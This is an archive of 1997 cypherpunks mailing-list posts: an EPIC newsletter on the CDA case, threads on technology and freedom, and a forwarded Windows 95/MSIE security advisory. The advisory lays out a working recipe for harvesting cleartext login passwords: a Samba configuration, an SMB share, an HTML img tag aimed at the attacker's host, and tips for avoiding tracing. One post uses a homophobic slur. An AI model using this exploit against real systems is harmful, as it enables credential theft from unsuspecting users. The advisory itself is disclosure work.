Data Fellows' F-Secure VPN encrypts and compresses TCP/IP packets
transmitted over public data networks to private corporate networks.
Military-strength cryptographic security of F-Secure VPN prevents
malicious access to the transferred information. Encryption is implemented
at transport layer and is thus transparent for applications.

A major business potential for wireless operators is to further extend
corporate Intranets to the world of wireless coverage. This enables
businesses to increase their efficiency by ensuring their staff secure,
wireless connectivity to their e-mail, groupware and corporate database
resources.

Remote access to corporate data resources has been traditionally
implemented in corporate premises with dial-in modems. Corporate IT can 
now outsource this costly telecom access technology to GSM operators and
operate in a clean IP protocol environment. Remote access becomes as 
simple as LAN interconnect.

In the interest of future market compatibility, Data Fellows and Nokia are
both committed to following the emerging open IP security standards.

Data Fellows is a software development company with offices in San Jose,
California, and Helsinki, Finland. Data Fellows is a technology leader in
its major business areas of anti-virus, data security and cryptography
software.

F-secure products have won several awards over the past several months.
These have included the HOT Product 1997 Award from Data Communication
magazine, Best New Networking Product from LAN Magazine and the Grand Award
in the European IT Prize competition.

Data Fellows is privately held. Annual growth in net sales has been over
100% since the company was founded in 1988.

Nokia is a Finland-based telecommunications group with a net sales of USD
8.5 billion in 1996. Nokia has approximately 31,000 employees world-wide.
Nokia is one of the two largest GSM/DCS suppliers in the world and the
leader in wireless data solutions. Nokia Telecommunications' Information
Networking Systems division develops, implements, and markets systems based
on Internet technologies to telecommunications operators.


For more information, please contact:

Mr. Jukka Kotovirta, Data Fellows Ltd.
Tel. int. +358 40 588 3933, e-mail: jukka.kotovirta@datafellows.com

Mr. Heikki Koskinen, Nokia Telecommunications
Tel. int. +358 40 502 7967, e-mail: heikki.koskinen@ntc.nokia.com

Ms. Arja Suominen, Nokia Telecommunications
Tel. int. +358 9 511 38193, e-mail: arja.suominen@ntc.nokia.com

Internet:   http://www.datafellows.com/    http://ntc.nokia.com/


--
Ari.Hypponen@DataFellows.com, World-Wide Web http://www.DataFellows.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <Banisar@epic.org>
Date: Mon, 17 Mar 1997 14:32:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: EPIC Alert 4.04 (CDA on Trial)
Message-ID: <v03020903af5375c96a7b@[204.91.138.227]>
MIME-Version: 1.0
Content-Type: text/plain



   =============================================================

       @@@@  @@@@  @@@  @@@@      @    @     @@@@  @@@@  @@@@@
       @     @  @   @   @        @ @   @     @     @  @    @
       @@@@  @@@    @   @       @@@@@  @     @@@   @@@     @
       @     @      @   @       @   @  @     @     @  @    @
       @@@@  @     @@@  @@@@    @   @  @@@@  @@@@  @   @   @

   ==============================================================
   Volume 4.04	                                  March 17, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/

                  ** SPECIAL ISSUE: THE CDA ON TRIAL **

=======================================================================
Table of Contents
=======================================================================

[1] Reno v. ACLU: The Communications Decency Act on Trial
[2] Background on the Litigation
[3] EPIC Statement on Supreme Court Argument
[4] The CDA and International Censorship
[5] EPIC Bookstore: First Amendment Reading
[6] Upcoming Conferences and Events

=======================================================================
[1] Reno v. ACLU: The Communications Decency Act on Trial
=======================================================================

On March 19, the United States Supreme Court will hear oral argument
in Reno v. ACLU, the first case to address the issue of free speech in
cyberspace.  The legal challenge to the Communications Decency Act was
initiated by the ACLU, EPIC and other organizations last February.
The high court's consideration of the case is likely to produce a
landmark constitutional decision, which is expected by July.

Immediately following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET).  The event will be cybercast
live via RealAudio on the World Wide Web.

Links to the cybercast will be available at:

     http://www.epic.org/cda/

          and

     http://www.aclu.org/issues/cyber/trial/appeal.html

=======================================================================
[2] Background on the Litigation
=======================================================================

The Communications Decency Act passed Congress last February as part
of an omnibus telecommunications reform bill.  The CDA makes it a
crime, punishable by up to two years in jail and/or a $250,000 fine,
for anyone to engage in speech that is "indecent" or "patently
offensive" on computer networks if the speech can be accessed or
viewed by a minor.  The American Civil Liberties Union, joined by EPIC
and 18 other plaintiffs, filed its legal challenge to the Act on
February 8, 1996, the day it was signed into law by President Clinton.
Several weeks later, a second challenge was filed by nearly 30
plaintiffs, led by the American Library Association. That suit, known
as ALA v. DOJ, was subsequently consolidated with the ACLU case.
Although the two cases are consolidated and the legal teams have
worked together, each plaintiff group has filed separate briefs
throughout the litigation.

A three-judge panel in Philadelphia was appointed to hear the
plaintiffs' motion for preliminary injunction, and five days of
hearings were scheduled during March and April of last year.  The
panel consisted of Chief Judge Dolores K. Sloviter, Judge Stewart
Dalzell, and Judge Ronald L. Buckwalter. The proceedings included five
days of live testimony, written testimony, documentary evidence, and
detailed stipulations about the nature of the Internet.  On June 12,
the court issued a preliminary injunction barring the government from
enforcing the challenged provisions of the CDA.  The opinion makes
clear that the lower court agreed with the plaintiffs' view that the
CDA's ill-conceived effort to censor speech in the unique medium of
cyberspace violates the First Amendment.

On December 6, the Supreme Court noted probable jurisdiction in the
government's appeal of the lower court decision.  The government filed
its brief on January 21; the plaintiffs' briefs were filed on February
20. Eleven amicus ("friend of the court") briefs were also filed in
support of the plaintiffs (several of which are available online).
The government filed its reply brief on March 7.  The Supreme Court
will hear oral arguments for one hour, with the time divided equally
between the two sides.  Plaintiffs will be represented by Bruce J.
Ennis; the government by Seth Waxman of the Solicitor General's
office.

==================================================================
[3] EPIC Statement on Supreme Court Argument
==================================================================

             Supreme Court Internet Decision Will Have a
             Profound Impact on Individual Privacy Rights

March 19, 1997
Washington, DC

Contact: David Sobel, EPIC Legal Counsel 202/544-9240
         http://www.epic.org/cda/

The U.S. Supreme Court's consideration of Reno v. ACLU sets the stage
for a decision of historic significance, one that will establish a
constitutional framework for reviewing government regulation of the
Internet.  The issues extend beyond the Communications Decency Act and
go to the very essence of the information infrastructure.   The
Electronic Privacy Information Center (EPIC) has consistently stressed
both the free speech and the privacy implications of the case since
joining with the American Civil Liberties Union in challenging this
ill-advised and unconstitutional attempt to impose governmental
content regulation on emerging global electronic media. EPIC is
participating in the litigation as both plaintiff and co-counsel.

As the three-judge panel in Philadelphia recognized, the legislation's
vague "indecency" standard will have an obvious impact upon the free
speech rights of millions of Americans who use computer networks to
receive and distribute information. Less apparent is the assault on
privacy rights that the legislation, if upheld, will engender.

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to
verify the identities and ages of all recipients of material that
might be deemed inappropriate for children.  If upheld, the statutory
regime would thus result in the creation of "registration records" for
tens of thousands of Internet sites, containing detailed descriptions
of information accessed by particular recipients.  These records would
be accessible to law enforcement agencies and prosecutors
investigating alleged violations of the statute.  Such a regime would
constitute a gross violation of Americans' rights to access
information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech
in McIntyre v. Ohio Elections Commission.  EPIC believes that the
Court's rationale in that case applies with even greater force to the
Internet "indecency" provisions now under review.  The Court noted in
McIntyre that

     The decision in favor of anonymity may be motivated by fear
     of economic or official retaliation, by concern about social
     ostracism, or merely by a desire to preserve as much of one's
     privacy as possible. ...

     Anonymity is a shield from the tyranny of the majority. It
     thus exemplifies the purpose behind the Bill of Rights, and
     of the First Amendment in particular: to protect unpopular
     individuals from retaliation -- and their ideas from
     suppression -- at the hand of an intolerant society.

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde
poetry, they enjoy a Constitutional right to do so privately and
anonymously.  The Communications Decency Act seeks to destroy that
right.  If upheld, the CDA would render the Internet not only the most
censored communications medium, but also the most heavily monitored.

EPIC is confident that upon review of the legislation and its impact
upon free speech and privacy rights in emerging electronic media, the
Supreme Court will affirm the lower court decision invalidating the
CDA as fundamentally at odds with the Constitution.

=======================================================================
[4] The CDA and International Censorship
=======================================================================

Following the passage of the CDA in the United States, dozens of other
countries followed suit and imposed restrictions on Internet content,
citing the CDA as justification for their efforts at censorship.  In
many countries, the legal bans cover a broad range of material,
including news services and political discussions.  Not surprisingly,
Singapore has played a leading role in restricting Net content.
According to the U.S. State Department's description of Singaporean
law, "access to web pages that undermine public security, national
defense, racial and religious harmony, and public morals is banned. In
addition, content that tends to bring the Government into hatred or
contempt, or that excites disaffection against the Government is
forbidden."  In China, human rights groups critical of the govern-
ment's record  are "filtered," as are many U.S. newspapers. With the
help of Bay Networks, an American company, China is setting up its own
Intranet that will not permit the online distribution of critical
material. Arab countries met in Dubai last October to discuss setting
up an Arab Intranet where political discussion could be banned.  The
European Union and the OECD are currently discussing Internet content
restrictions.

In response to these trends, the Parliamentary Human Rights Foundation
recently convened a meeting in Brussels to draft "Open Internet Policy
Principles."  Among the consensus principles is a strong statement in
support of freedom of expression:

     There should be no regulation of Internet content by
     government. We understand the fundamental rights of freedom
     of expression, as embodied in Art. 19 of the Universal
     Declaration of Human Rights ("Everybody has the right ...
     to seek, receive and impart information and ideas through
     any media and regardless of frontiers" ) and in Art. 19(2)
     of the International Covenant on Civil and Political Rights
     ("Everyone shall have the right to freedom of expression;
     this right shall include freedom to seek, receive and impart
     information and ideas of all kinds, regardless of frontiers,
     either orally, in writing or in print, in the form or art or
     through any other media of his choice") -- to apply with full
     force to Internet communication.

The full text of the Open Internet Policy Principles is available at:

     http://www.phrf.org/conference

Free speech and human rights advocates from around the world have
joined together in the Global Internet Liberty Campaign to fight these
restrictions.  Members include EPIC, ACLU, Human Rights Watch, and
groups from around the world.  More information on GILC is available
at:

     http://www.gilc.org

Other information on international censorship efforts is available
from the Fight Censorship list archives at:

    http://www.eff.org/~declan/global/

=======================================================================
[5] EPIC Bookstore: First Amendment Reading
=======================================================================

The EPIC Bookstore offers a wide range of books on civil liberties,
privacy, and on-line freedom.  With the Communications Decency Act
being argued before the Supreme Court this week, we are featuring four
titles that look at the history, technology, policy and practice
behind the First Amendment:

* Make No Law: The Sullivan Case and the First Amendment by Anthony
Lewis -- Few cases have done more to shape the First Amendment than
this historic decision.

* Technologies of Freedom by Ithiel De Sola Pool -- One of the early
works on why regulating speech in cyberspace is a bad idea.

* Intellectual Freedom Manual by The Office for Intellectual Freedom,
American Library Association -- Good advice for protecting freedom in
the on-line world.

* Censored: The News That Didn't Make the News-And Why: The 1995
Project Censored Yearbook by Carl Jensen -- Sometimes it's the press
and not government that keeps important stories under wraps. Here's
what the big shots missed in 1995.

We also have an extensive collection of other titles on freedom of
expression.  Visit the EPIC Bookstore and celebrate the First
Amendment with a good book on free speech!  It can be found at:

     http://www.epic.org/bookstore/

=======================================================================
[6] Upcoming Conferences and Events
=======================================================================

Eurosec'97: the Seventh Annual Forum on Information Systems Quality
and Security. March 17 - 19, 1997. Paris, France. Sponsored by XP
Conseil. Contact: http://ourworld.compuserve.com/homepages/eurosec/

CyberRights Congress. March 20-21, 1997. Washington, DC. Sponsored by
the First Amendment Congress.  Contact:
http://www.oklahoman.net/connections/congress/

Culture and Democracy revisited in the Global Information Society.
May 8 - 10, 1997. Corfu, Greece. Sponsored by IFIP-WG9.2/9.5. Contact:
http://www.math.aegean.gr/english/eevents/econf/ecnew/ewc97.htm

CYBER://CON.97: Rules for Cyberspace?:Governance, Standards and
Control. June 4 - 7, 1997. Chicago, Illinois. Sponsored by the John
Marshall Law School. Contact: cyber97@jmls.edu.

Ethics in the Computer Society: The Second Annual Ethics and
Technology Conference. June 6 - 7, 1997. Chicago, Ill. Sponsored by
Loyola University Chicago. http://www.math.luc.edu/ethics97

Public Workshop on Consumer Privacy. June 10-13, 1997. Washington, DC.
Sponsored by the Federal Trade Commission. Contact:
http://www.ftc.gov/os/9703/privacy.htm

INET 97 -- The Internet: The Global Frontiers. June 24-27, 1997. Kuala
Lumpur, Malaysia. Sponsored by the Internet Society. Contact:
inet97@isoc.org or http://www.isoc.org/inet97

Privacy laws & Business 10th Anniversary Conference. July 1-3, 1997.
St. John's College, Cambridge, England. Contact:
info@privacylaws.co.uk.

AST3: Cryptography and Internet Privacy. Sept. 15, 1997. Brussels,
Belgium. Sponsored by Privacy International and EPIC. Contact:
pi@privacy.org. http://www.privacy.org/pi/conference/brussels/

19th Annual International Privacy and Data Protection Conference.
Sept. 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data
Protection and Privacy Commission.

International Conference on Privacy. September 23-26, 1997. Montreal,
Canada. Sponsored by the Commission d'Acces a l'information du Quebec.

Managing the Privacy Revolution '97. October 21-23, 1997. Washington,
DC. Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html


(Send calendar submissions to alert@epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic
Privacy Information Center.  To subscribe, send email to
epic-news@epic.org with the subject: "subscribe" (no quotes) or use
the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest
research center in Washington, DC.  It was established in 1994 to
focus public attention on emerging privacy issues such as the Clipper
Chip, the Digital Telephony proposal, national ID cards, medical
record privacy, and the collection and sale of personal information.
EPIC is sponsored by the Fund for Constitutional Government, a
non-profit organization established in 1974 to protect civil liberties
and constitutional rights.  EPIC publishes the EPIC Alert, pursues
Freedom of Information Act litigation, and conducts policy research.
For more information, email info@epic.org, HTTP://www.epic.org or
write EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington, DC
20003. +1 202 544 9240 (tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy
Information Center, contributions are welcome and fully
tax-deductible.  Checks should be made out to "The Fund for
Constitutional Government" and sent to EPIC, 666 Pennsylvania Ave.,
SE, Suite 301, Washington DC 20003. Individuals with First Virtual
accounts can donate at http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and
First Amendment litigation, strong and effective advocacy for the
right of privacy and efforts to oppose government regulation of
encryption and funding of the National Wiretap Plan.

Thank you for your support.

---------------------- END EPIC Alert 4.04 -----------------------


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 18:46:07 -0800 (PST)
To: sergey@el.net
Subject: Re: Dark Fiber Redux
In-Reply-To: <Pine.LNX.3.95.970317025954.144I-100000@void.el.net>
Message-ID: <332DF058.5DF9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sergey Goldgaber wrote:
> 
> On Sun, 16 Mar 1997, Robert Hettinga wrote:
> 
> -> In theory, at least, everyone gets a color, or frequency, and they listen
> -> on that frequency for their inbound stuff. If you want to send someone
> -> something, you literally tune them in and send it. Actually, I see these
> -> frequencies using CDMA carrier waves when it eventually happens, but you
> -> get the idea.

  It would certainly make discrimination on the basis of color a much
more precise option on the InterNet. CyberNot, for instance, could
merely block all shades of chartreuse instead of counting on Dr. Vulis
to inform them where the homo's are lurking, waiting to pounce on good
Christian children.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 18:45:32 -0800 (PST)
To: dthorn@gte.net
Subject: Crypto-Genetic-Genesis / Threat Model: Biowar
In-Reply-To: <2HTo4D6w165w@bwalk.dm.com>
Message-ID: <332DF33B.13E6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> The analogies from bio-viruses to computer equivalents is interesting
> in a crypto-anarchic context.  Be nice to hear more on this.

  DNA as the original cryptographer?
  Dr. Virus KOTC(reation) as the original code-breaker/shit-disturber?
  John Gilmore as the original host/primordal-swamp for a variety of
 crypto-anarchic life-forms?
  (I can see arguments brewing here as to who plays the 'Slime' in this
Crypto-Genetic-Genesis.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Mar 1997 19:37:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180240.UAA09505@manifold.algebra.com>
Message-ID: <v03007806af53c00a2e6b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:20 PM -0600 3/17/97, Igor Chudov @ home wrote:

>First of all, 200 years ago it was very hard for lone people to endanger
>lives of themselves and many others. For example, the only weapons that
>were available were single shot and double shot rifles that were very
>slow to reload. Similarly, people did not have fast moving vehicles and
>any traffic did not present serious danger for innocent bystanders.

Counterexample: 200, or even 2000, years ago, it was trivially easy for
someone in a village to essentially kill the entire village by doing any
one of several things. For example, one could open the dam gates at night,
thus leaving the village with no water for crops or drinking. Or one could
open the pens holding the village's sheep and goats, thus casusing many of
them to be irretrievably lost. Or, most obviously, one could play the
Trojan Horse role and let the enemy into the village at night. (Examples of
all of these actions may be found in the usual places.)

And 200 years ago it was of course quite possible for a "traitor" to signal
the enemy, let the enemy in, etc. This happened in our own Revolutionary
War, and probably has happened in all wars.


>With the advent of technology, the balance of perceived social needs and
>government capabilities shifted radically, and it shifted away from the
>great freedoms of the past. The public perception of freedom now is that
>freedom is inherently dangerous and is a threat to the public itself.

What are these "great freedoms of the past"? Look to history.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 17 Mar 1997 20:09:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Technology and loss of freedom
Message-ID: <88CE23A0B727D0118BB000805FD47524010C1FF2@RED-81-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



From:	ichudov@algebra.com

With the advent of technology, the balance of perceived social needs and
government capabilities shifted radically, and it shifted away from the
great freedoms of the past. The public perception of freedom now is that
freedom is inherently dangerous and is a threat to the public itself.
............................................................


The more advanced the technological creations become, the more potential
there is for disaster - in larger measure and in greater speed - and
therefore the greater need there is for preparation to deal with the new
toys and the consequences when things go wrong.   This needed
preparation includes the time required for developing concepts regarding
our human nature and our place in the artificial "man-made" world, about
"who is in control around here" - us or the machines - and what purposes
- or whose purposes - the machines serve.

But then there's always a confusion and many battles over who will serve
whose purposes, not only in regard of machines, but of governments and
societies.

Technology doesn't communicate automatically any particular message.
Anyone can interpret its existence in any way it pleases them to
interpret it.    If those who use these toys and tools every day do not
stop to identify what they are doing, and why, and who is making the
decisions in their life; if they don't make conscious choices about
their activities and the means they use to accomplish these, it is not
the technology which is to blame for the humans' default on thinking.   

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Gordon" <hermes@pe.net>
Date: Mon, 17 Mar 1997 20:19:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703180419.UAA27822@pe.net>
MIME-Version: 1.0
Content-Type: text/plain



 I need your help with PGP, I don't get any reply from the remailers
can you help?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Mar 1997 18:33:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Technology and loss of freedom
Message-ID: <199703180220.UAA09325@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

I have a thesis that it is the development of technology that has, over
the last 100 years, eroded the basis for and appreciation of human
freedom.  Technology has also done precious little for advancing human
freedoms (although cryptography may be an exception).

Let's first define freedom as the ability of people to do things without
forceful interference from the government. This is an arbitrary
definition, but it appears to be useful for the analysis below.

First of all, 200 years ago it was very hard for lone people to endanger
lives of themselves and many others. For example, the only weapons that
were available were single shot and double shot rifles that were very
slow to reload. Similarly, people did not have fast moving vehicles and
any traffic did not present serious danger for innocent bystanders.

Poison gases were not available, and the explosives technology
was far less advanced. Even if it was possible to set up a large
explosion, limitations in building construction made them useless.

"Hard drugs" also became available only in the recent past [please 
correct me] due to advancements in chemistry and medicine.

You can well imagine that airline terrorism could not appear before 
airlines.

No doubt that I only touched upon a very small percentage of newly
existent dangers that are created by the technology.

At the same time, developments in technology made it easy to spy on and
brainwash citizens. TV, which is the ultimate brainwashing machine, came
in play only very recently. The wiretapping is new also. It is the
remoteness feature of "bugs" that made spying so much cheaper than
hiring "stukachi" -- snitches.

If you ride a horse, there is no perceived need for an airbag or a
mandatory horse insurance. If all houses are 1 story tall, nobody is afraid
of an OK City type explosion.

With the advent of technology, the balance of perceived social needs and
government capabilities shifted radically, and it shifted away from the
great freedoms of the past. The public perception of freedom now is that
freedom is inherently dangerous and is a threat to the public itself.

Is that an evil CoNspiRaCY of purebred sovoks and Zion agents or it is a
natural consequence of inventions that dramatically changed the place of
the man in the world? I am not sure.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Mar 1997 21:45:54 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180220.UAA09325@manifold.algebra.com>
Message-ID: <332E2BA9.3AAF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> I have a thesis that it is the development of technology that has, over
> the last 100 years, eroded the basis for and appreciation of human
> freedom.  Technology has also done precious little for advancing human
> freedoms (although cryptography may be an exception).
> Let's first define freedom as the ability of people to do things without
> forceful interference from the government. This is an arbitrary
> definition, but it appears to be useful for the analysis below.
[snip]
> Is that an evil CoNspiRaCY of purebred sovoks and Zion agents or it is a
> natural consequence of inventions that dramatically changed the place of
> the man in the world? I am not sure.

I'd argue that the worst thing was probably television, since now
people don't go outdoors a lot and talk to their neighbors like
they used to.  Today, in most cities, you don't even know the
neighbors unless they blocked your parking space.

There are tradeoffs between the old and new - in the old society,
say, the USA circa late 1800's to early 1900's, we were much more
violent.  The big stir about shooting 4 students at Kent State
would be severly dwarfed by the mass killing of 1200 in one day
in New York city in the anti-draft riots of the mid-1860's, and
the bombings of the MOVE neighborhood in Philly circa 1985 and
WACO circa 1993 would be insignificant compared to what happened
to the American Indians.

Personal (non-government) violence was rampant long ago - men and
women as parents routinely called up the Bible verse "spare the rod
and spoil the child" to beat the living crap out of their kids.
Persons who were grown up in the 1940's and 1950's will recall the
days when parents would beat their kids in public when "necessary",
and when at home, beat kids so badly that you could hear the scream-
ing a block away.  Don't even ask about the violence against women.

This is only one example of the horrors of living in the "good old
days" - if necessary, I could catalogue some other examples.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Mon, 17 Mar 1997 22:43:17 -0800 (PST)
To: Anand Abhyankar <anand@querisoft.com>
Subject: [LONG] Windows Security (was Re: SecureFile)
Message-ID: <332E3A3C.65FAC7A4@veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I forward this because of the discussion of SecureFile and M$ CryptoAPI, 
which relies on the security of the windows password to protect keys.
Fun...

- ------------- Begin forwarded message

 Subject: BoS: http://www.security.org.il/msnetbreak/
 Resent-Date: Tue, 18 Mar 1997 16:41:20 +1100 (EST)
 Resent-From:  best-of-security@suburbia.net
        Date: Mon, 17 Mar 1997 21:14:02 -0600
        From: leph One <aleph1@DFW.NET>
          To: best-of-security@suburbia.net


                       WINDOWS 95 AND MSIE SECURITY HOLE

What's new

   It is possible from anywhere on the Internet to obtain the cleartext
   Windows 95 login password from a Windows 95 computer on a network
   connected directly to the Internet given only the IP address and the
   workgroup and leave no trace of your actions. It is untested and may
   work with Windows For Workgroups as well.

Description



   There has been recent discussion on security mailing lists concerning
   the fact that Microsoft Internet Explorer running on Windows NT will
   automatically try to log in to a remote SMB server (file server)
   without prompting the user or without the user's knowledge. By
design,
   the NT machine will transmit to this remote server the encrypted
   password and username of the user. This is documented by Aaron
   Spangler. The caveats with this are that the passwords are encrypted
   and that in many cases people do not use WWW browsers from NT
servers,
   but rather from computers running Windows 95.

   It has been explained that this same exploit does not work against
   Windows 95 because Windows 95 is only capable of accessing SMB shares
   (file sharing) if they are:
     * Connected to the same subnet.
     * In the Windows 95 computer's LMHOSTS file on startup
     * Announced to the Windows 95 computer by a Master Browser



   It is this third and final condition that can be taken advantage of
to
   obtain the cleartext password and username of any Windows 95 user who
   uses Microsoft Internet Explorer. Even careless use of Microsoft
   Network Neighborhood can exploit this hole without the requirement
   for Internet Explorer The requirements are knowledge of the user's IP
   address, workgroup name and that they access a hostile web page. The
   first two are not difficult to obtain and the third does not have to
   be an obscure page. In the last 6 months sites such as the CIA have
   been broken into. All it would require is that one un-noticeable line
   be added to the home page. Since the viewable content of the page has
   not been altered, such a change can go unnoticed for a long time.

The Exploit



   This involves the use of the Unix SMB implementation called Samba.
   There are no source changes required, but it should be compiled with
   -DDEBUG_PASSWORD.
   Samba has an option in the smb.cfg file called remote announce. This
   allows you to specify a network address (host or broadcast) and
   workgroup name to inform about your existence. I have configured the
   [global] section of the smb.conf file like this:

   workgroup = EXPLOIT
   preferred master = yes
   domain master = yes
   security = user
   debug level = 100
   remote announce = 10.0.0.255/WORKGROUP




   The only thing that must be changed is the remote announce line. The
   rest works as-is. A simple share must then be set up such as:

[exploit]
   path = /tmp
   public = no
   browsable = yes




   Nothing needs to be in the directory as nobody will ever see it. For
   the sake of untractability, change your hostname to something that
   does not exist, but ensure to create an entry for it in /etc/hosts.
   This makes your host untraceable unless the network you are
connecting
   to monitors network traffic.

   Run smbd. If you are running it from inetd, the process must at least
   start itself in order to send the broadcast. Using smbclient to
browse
   yourself is enough for this. The broadcast gets sent regardless of
   what smbd was started for.

   At this point if anyone on the target network were to look at their
   Windows 95 Network Neighborhood they would see the host "EXPLOIT".
The
   host is now vulnerable to your attack. While this step may seem a bit
   obscure and complicated, the truth is that it is very simple. I won't
   get into details here, but the methods for obtaining the workgroup
   name are easy to use and readily available. Finding a target network
   that has not protected ports 137 and 139 is also not so hard. Once
   you've done that, setting everything up to here takes a very short
   ammount of time.

   The final and easiest step is to include the following in any html
   file a user on this network accesses:
   <img src=file://\\exploit/exploit/t.gif>

   Congratulations!!! You will now see in your Samba log a line such as
   this:
   checking user=[user] pass=[INNOCENT]

What does this all mean?



   The password of any Internet-connected user running Microsoft
Internet
   Explorer on Windows 95 obtained be found in cleartext provided that
   their network administrator has not protected them from accessing
   external SMB servers by closing ports 139 and 137. If you have
   obtained the password of a user of a Windows NT server, you can now
   take the username, password and workgroup and log into that Windows
NT
   server. Your true hostname and IP address are not stored in the html
   file and I am aware of no logging of hosts that enter the browse
list.
   This means that you are not traceable, even though they are
connecting
   to your machine. If you are lucky, you found the Windows 95 machine
of
   the NT administrator and have little work left in order to access the
   NT server with administrator privileges.

Solutions


     * Use Netscape
     * Use a proxy firewall or packet filter to close off ports 137 and
       139 from external access to your network, though this still
leaves
       you at risk from internal attacks.
     * Ask Microsoft to rewrite Windows to not send passwords by
default.

Demonstration

   We're working on software that will allow anyone to try this out and
   hope to have it finished tomorrow.

Responses / Updates


     * March 17, 20:00pm: Microsoft Israel was informed of the problem
       and requested further information.
     * March 17, 22:30pm: This document initially completed.
     * March 17, 00:30am: Final tests with remote sites completed.

Credits

   Discovery by Steve Birnbaum with help from Mark Gazit.
   Additional support from Yacov Drori and Roman Lasker.

   Thanks also to hobbit for his paper on CIFS, BioH for helping to test
   this, and anyone else who helped or provided ideas.

  Disclaimer

   The details of this exploit are being released with the interest of
   security in mind. No malice or harm is intended towards any company
or
   organization. We are not responsible for any actions taken based on
   this information, harmful or otherwise.
     _________________________________________________________________

- ------------- End forwarded message.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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Version: 2.6.2

iQCVAwUBMy46Ri/fy+vkqMxNAQG5kwQA2Hoeg/W6/So4+YWMlS3f3y+eX/uzFuy3
mLmqiKPf0B+Pm6KGmoH4FXk7OmlMl8IqN4GJ/mGdzX3Otf4oSxrXsQPuNc688QJI
F31F7rZTnPtXpIO9IpHvEwqyPksCOsiDJkf0cTFfVygvG2+67c/1OZ3rX/YieLoT
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=dQxJ
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 21:30:32 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Technology and loss of freedom
In-Reply-To: <v03007806af53c00a2e6b@[207.167.93.63]>
Message-ID: <332E206D.626F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 8:20 PM -0600 3/17/97, Igor Chudov @ home wrote:
> >With the advent of technology, the balance of perceived social needs and
> >government capabilities shifted radically, and it shifted away from the
> >great freedoms of the past. The public perception of freedom now is that
> >freedom is inherently dangerous and is a threat to the public itself.
 
> What are these "great freedoms of the past"? Look to history.

